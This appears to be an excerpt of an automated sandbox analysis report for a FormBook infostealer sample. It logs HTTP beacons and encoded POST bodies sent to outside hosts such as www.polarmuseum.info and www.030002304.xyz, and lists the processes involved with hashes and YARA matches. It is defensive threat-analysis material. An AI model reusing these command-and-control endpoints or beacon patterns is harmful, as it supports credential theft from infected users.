28	192.168.2.4	55747	161.97.142.144	80	4324	C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:24:49.918874025 CET	538	OUT	GET /jkxr/?X8Rx1=znhhIbB8nN&zhl=nfZmoz3ZNLa38WJC9Znh/BTcpJZiT6WI1J67BrQcysz4VkbFIz1C0Mwuu1KgUH3yzYFpHG8bYhuiS80nX0UZ0iO0BQhIJ00ZnTsDdGtBOXLHdb2igebUo2U= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.030002304.xyz Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Nov 5, 2024 15:24:50.688800097 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 05 Nov 2024 14:24:50 GMT Content-Type: text/html; charset=utf-8 Content-Length: 2966 Connection: close Vary: Accept-Encoding ETag: "66cce1df-b96" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 52 6f 62 6f 74 6f 2c 20 22 48 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;color: #5d5d5d;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial,"Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol","Noto Color Emoji";text-shadow: 0px 1px 1px rgba(255, 255, 255, 0.75);text-align: center;}h1 {font-size: 2.45em;font-weight: 700;color: #5d5d5d;letter-spacing: -0.02em;margin-bottom: 30px;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;}.info {color: #5594cf;fill: #5594cf;}.error [TRUNCATED]
Nov 5, 2024 15:24:50.688812971 CET	212	IN	Data Raw: 3b 0a 09 09 09 09 66 69 6c 6c 3a 20 23 63 39 32 31 32 37 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 77 61 72 6e 69 6e 67 20 7b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 66 66 63 63 33 33 3b 0a 09 09 09 09 66 69 6c 6c 3a 20 23 66 66 63 63 33 33 3b 0a 09 09 Data Ascii: ;fill: #c92127;}.warning {color: #ffcc33;fill: #ffcc33;}.success {color: #5aba47;fill: #5aba47;}.icon-large {height: 132px;width: 132px;}.des
Nov 5, 2024 15:24:50.688824892 CET	1236	IN	Data Raw: 63 72 69 70 74 69 6f 6e 2d 74 65 78 74 20 7b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 37 30 37 30 37 30 3b 0a 09 09 09 09 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 2d 30 2e 30 31 65 6d 3b 0a 09 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e Data Ascii: cription-text {color: #707070;letter-spacing: -0.01em;font-size: 1.25em;line-height: 20px;}.footer {margin-top: 40px;font-size: 0.7em;}.animate__delay-1s {animation-delay: 1s;}@keyf
Nov 5, 2024 15:24:50.688972950 CET	212	IN	Data Raw: 2d 34 36 63 30 2d 32 35 2e 33 36 35 2d 32 30 2e 36 33 35 2d 34 36 2d 34 36 2d 34 36 7a 22 0a 09 09 09 09 09 09 09 3e 3c 2f 70 61 74 68 3e 0a 09 09 09 09 09 09 3c 2f 73 76 67 3e 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 3c 68 31 20 63 Data Ascii: -46c0-25.365-20.635-46-46-46z"></path></svg></div><h1 class="animate__animated animate__fadeIn">Page Not Found</h1><div class="description-text animate__animated animate__fadeIn a
Nov 5, 2024 15:24:50.690660000 CET	274	IN	Data Raw: 6e 69 6d 61 74 65 5f 5f 64 65 6c 61 79 2d 31 73 22 3e 0a 09 09 09 09 09 09 3c 70 3e 4f 6f 70 73 21 20 57 65 20 63 6f 75 6c 64 6e 27 74 20 66 69 6e 64 20 74 68 65 20 70 61 67 65 20 74 68 61 74 20 79 6f 75 27 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f Data Ascii: nimate__delay-1s"><p>Oops! We couldn't find the page that you're looking for.</p><p>Please check the address and try again.</p><section class="footer"><strong>Error Code:</strong> 404</section></div></div></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	55748	13.248.169.48	80	4324	C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:24:55.883507013 CET	808	OUT	POST /9u26/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.polarmuseum.info Origin: http://www.polarmuseum.info Connection: close Content-Length: 200 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Referer: http://www.polarmuseum.info/9u26/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 7a 68 6c 3d 34 49 62 6d 57 54 6a 42 49 65 61 35 70 53 55 57 72 33 57 7a 39 4a 58 6b 73 4b 4a 6d 39 57 62 74 37 37 41 30 2f 46 32 54 6a 37 4f 39 72 78 78 57 46 59 64 39 64 4e 79 73 71 2f 72 34 69 6a 4e 6c 79 63 50 6a 31 6f 75 34 4d 69 37 55 52 55 30 73 4c 59 2f 45 41 61 35 47 68 6d 66 70 6a 2b 79 4d 45 47 73 49 41 64 58 48 71 73 46 50 34 64 53 55 47 4b 69 2f 59 6a 2b 38 64 7a 4a 50 41 33 6f 31 70 39 47 30 63 73 69 6d 5a 64 73 2b 79 52 56 6b 62 65 37 4f 30 56 38 2f 77 6c 2b 4a 52 66 71 36 52 70 79 74 52 6a 4c 67 52 52 76 68 49 41 2f 7a 2f 2b 67 4a 55 45 30 6f 47 2b 6e 36 37 65 54 6a 62 41 3d 3d Data Ascii: zhl=4IbmWTjBIea5pSUWr3Wz9JXksKJm9Wbt77A0/F2Tj7O9rxxWFYd9dNysq/r4ijNlycPj1ou4Mi7URU0sLY/EAa5Ghmfpj+yMEGsIAdXHqsFP4dSUGKi/Yj+8dzJPA3o1p9G0csimZds+yRVkbe7O0V8/wl+JRfq6RpytRjLgRRvhIA/z/+gJUE0oG+n67eTjbA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	55749	13.248.169.48	80	4324	C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:24:58.420857906 CET	828	OUT	POST /9u26/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.polarmuseum.info Origin: http://www.polarmuseum.info Connection: close Content-Length: 220 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Referer: http://www.polarmuseum.info/9u26/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 7a 68 6c 3d 34 49 62 6d 57 54 6a 42 49 65 61 35 72 79 6b 57 6f 51 36 7a 36 70 58 72 6a 71 4a 6d 32 32 62 68 37 37 63 30 2f 41 48 57 69 49 36 39 72 55 64 57 58 63 78 39 65 4e 79 73 74 50 72 39 6d 6a 4d 49 79 63 79 65 31 70 53 34 4d 69 76 55 52 57 38 73 4c 50 44 48 41 4b 35 41 70 47 66 72 38 75 79 4d 45 47 73 49 41 64 54 70 71 6f 70 50 34 74 43 55 47 75 4f 77 47 54 2b 39 61 7a 4a 50 45 33 70 79 70 39 48 68 63 74 75 4d 5a 66 55 2b 79 51 6c 6b 61 4d 44 4a 36 56 38 6d 30 6c 2f 71 52 4f 48 43 58 4c 62 6c 51 43 32 45 54 56 7a 69 45 6d 75 70 75 50 42 65 47 45 51 62 62 35 75 4f 32 64 75 71 41 4c 6f 4f 6d 74 4f 59 4f 56 47 54 78 38 57 52 66 59 69 38 34 4d 4d 3d Data Ascii: zhl=4IbmWTjBIea5rykWoQ6z6pXrjqJm22bh77c0/AHWiI69rUdWXcx9eNystPr9mjMIycye1pS4MivURW8sLPDHAK5ApGfr8uyMEGsIAdTpqopP4tCUGuOwGT+9azJPE3pyp9HhctuMZfU+yQlkaMDJ6V8m0l/qROHCXLblQC2ETVziEmupuPBeGEQbb5uO2duqALoOmtOYOVGTx8WRfYi84MM=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	55750	13.248.169.48	80	4324	C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:25:00.973829985 CET	10910	OUT	POST /9u26/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.polarmuseum.info Origin: http://www.polarmuseum.info Connection: close Content-Length: 10300 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Referer: http://www.polarmuseum.info/9u26/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 7a 68 6c 3d 34 49 62 6d 57 54 6a 42 49 65 61 35 72 79 6b 57 6f 51 36 7a 36 70 58 72 6a 71 4a 6d 32 32 62 68 37 37 63 30 2f 41 48 57 69 4a 43 39 72 43 4a 57 55 37 6c 39 66 4e 79 73 75 50 72 38 6d 6a 4d 77 79 63 72 5a 31 70 65 6f 4d 67 58 55 52 31 6b 73 61 72 58 48 54 71 35 41 72 47 66 71 6a 2b 79 6a 45 47 38 45 41 64 44 70 71 6f 70 50 34 72 75 55 50 61 69 77 45 54 2b 38 64 7a 4a 54 41 33 6f 56 70 39 65 61 63 74 71 32 5a 76 30 2b 7a 77 31 6b 63 2f 37 4a 79 56 38 6b 34 46 2f 4d 52 4f 4c 64 58 4c 48 44 51 43 54 68 54 53 62 69 56 78 44 45 71 38 6c 6f 54 31 55 38 41 6f 53 5a 2f 66 4b 2f 49 37 67 6f 74 76 6d 38 65 57 4b 6b 33 65 50 2f 4d 37 6d 6e 69 72 63 79 62 35 4a 54 77 32 61 38 58 58 74 39 2b 36 6a 5a 58 4b 73 55 62 31 39 67 33 67 45 55 6b 72 31 38 4b 6b 35 71 2f 2b 78 6d 65 53 33 51 56 34 62 2b 58 52 33 56 56 32 61 56 68 39 47 49 79 34 36 52 44 44 30 52 75 6d 49 66 50 32 59 4c 64 44 6e 43 44 7a 37 57 6a 31 61 76 63 73 58 72 76 30 33 35 41 39 48 2b 38 76 70 4d 4c 55 4e 78 50 37 33 6f 78 5a 68 69 50 6b [TRUNCATED] Data Ascii: zhl=4IbmWTjBIea5rykWoQ6z6pXrjqJm22bh77c0/AHWiJC9rCJWU7l9fNysuPr8mjMwycrZ1peoMgXUR1ksarXHTq5ArGfqj+yjEG8EAdDpqopP4ruUPaiwET+8dzJTA3oVp9eactq2Zv0+zw1kc/7JyV8k4F/MROLdXLHDQCThTSbiVxDEq8loT1U8AoSZ/fK/I7gotvm8eWKk3eP/M7mnircyb5JTw2a8XXt9+6jZXKsUb19g3gEUkr18Kk5q/+xmeS3QV4b+XR3VV2aVh9GIy46RDD0RumIfP2YLdDnCDz7Wj1avcsXrv035A9H+8vpMLUNxP73oxZhiPkIQuhc20MDt0VNIX0M7ad0fVp1SRuCYFX00BCsONCZvIn6hckcUzVY/mVMpem7bBgZ9t/aHDKHqVlaZTCumx/Ac6/wK0H21NyhQyhQNQ9lgyORytsYh1pwHXKrkSGVw01vApxjYeMmke/JYuwmtv0mnje/GLAMi//GmBF/jwA97ZQZ+dZh7XCNegcqHnsJfvI9XiCIs1EbisGVmbnjHZUlneRy6HORAvzCWaguKIvC+zLflEw1hcShSIc8xpZKp0Mml6rFG3eRTzLZc7UqeuSMCQ08yDSdHq3+4GYSm7GeakI+2gL1nbatxlS7A6FiBJMZ6cWXaxUB1t9mFm7OGOfnbVr6AhQ3+GmFn+ntYSakyueMdlYkH3xpQYd8Kvqc6aiFwnpcI3A5euGFq3c/jXJfc2BDKjOGfX0fsYsvK8rebUEoh07xemLE1GFPdDhFzY5QY4u0DT5iLC1deFQqq8NAEhIlq5Q14V2IIWIyTd0rCRNmfDFMUIl5yNs5y9ULdpw4OUUzBV1mo1MT1y8zc33nsFC7yXtGj67mrSWqNJnZhBa/JbVff1Afg5gCwTiDNxmWYq5xSfDWXrpTJRV6h9ZwXodKuEJQ83szEOGOC69+4jncr2la1WGOzYyyfLd49D/e/nQ1amcULADx/JX+0LQ/zbT48rmj3ojsT [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	55751	13.248.169.48	80	4324	C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:25:03.513168097 CET	541	OUT	GET /9u26/?zhl=1KzGVmvOKYmCo1wpuW+r8NP8l/V7/SD2qfM36nKJjIWw5yRzOpl1V5yMlKb+oB0ZkJTr7r2IK3XtbWcKe6/PEalDkn3qwfCmDnUmPcfDndNPzM6SEYrZbR4=&X8Rx1=znhhIbB8nN HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.polarmuseum.info Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T889 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Nov 5, 2024 15:25:04.165735006 CET	396	IN	HTTP/1.1 200 OK Server: openresty Date: Tue, 05 Nov 2024 14:25:04 GMT Content-Type: text/html Content-Length: 256 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 7a 68 6c 3d 31 4b 7a 47 56 6d 76 4f 4b 59 6d 43 6f 31 77 70 75 57 2b 72 38 4e 50 38 6c 2f 56 37 2f 53 44 32 71 66 4d 33 36 6e 4b 4a 6a 49 57 77 35 79 52 7a 4f 70 6c 31 56 35 79 4d 6c 4b 62 2b 6f 42 30 5a 6b 4a 54 72 37 72 32 49 4b 33 58 74 62 57 63 4b 65 36 2f 50 45 61 6c 44 6b 6e 33 71 77 66 43 6d 44 6e 55 6d 50 63 66 44 6e 64 4e 50 7a 4d 36 53 45 59 72 5a 62 52 34 3d 26 58 38 52 78 31 3d 7a 6e 68 68 49 62 42 38 6e 4e 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?zhl=1KzGVmvOKYmCo1wpuW+r8NP8l/V7/SD2qfM36nKJjIWw5yRzOpl1V5yMlKb+oB0ZkJTr7r2IK3XtbWcKe6/PEalDkn3qwfCmDnUmPcfDndNPzM6SEYrZbR4=&X8Rx1=znhhIbB8nN"}</script></head></html>

Target ID:	0
Start time:	09:22:01
Start date:	05/11/2024
Path:	C:\Users\user\Desktop\r6lOHDg9N9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\r6lOHDg9N9.exe"
Imagebase:	0x400000
File size:	1'339'905 bytes
MD5 hash:	9F65C6E2192CC6757C1E7BE556A4BC9A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	1
Start time:	09:22:03
Start date:	05/11/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\r6lOHDg9N9.exe"
Imagebase:	0xb50000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.2094255182.0000000003590000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.2094255182.0000000003590000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.2094963366.0000000005900000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.2094963366.0000000005900000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.2093329149.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.2093329149.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	09:22:33
Start date:	05/11/2024
Path:	C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe"
Imagebase:	0xb10000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.3552180620.00000000025B0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.3552180620.00000000025B0000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	6
Start time:	09:22:35
Start date:	05/11/2024
Path:	C:\Windows\SysWOW64\write.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\write.exe"
Imagebase:	0x2a0000
File size:	10'240 bytes
MD5 hash:	3D6FDBA2878656FA9ECB81F6ECE45703
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3550976082.0000000002690000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.3550976082.0000000002690000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3551036891.00000000026E0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.3551036891.00000000026E0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3550782278.00000000001D0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.3550782278.00000000001D0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Target ID:	7
Start time:	09:22:48
Start date:	05/11/2024
Path:	C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\FPSlWiAePxLOVMTvbhsJClngwkCztVZgwvKMCWnmkWfzAabDJavQudgNdRFIFHrkZ\fZXsbVktlmkz.exe"
Imagebase:	0xb10000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.3554169610.0000000004A10000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000007.00000002.3554169610.0000000004A10000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	8
Start time:	09:23:00
Start date:	05/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true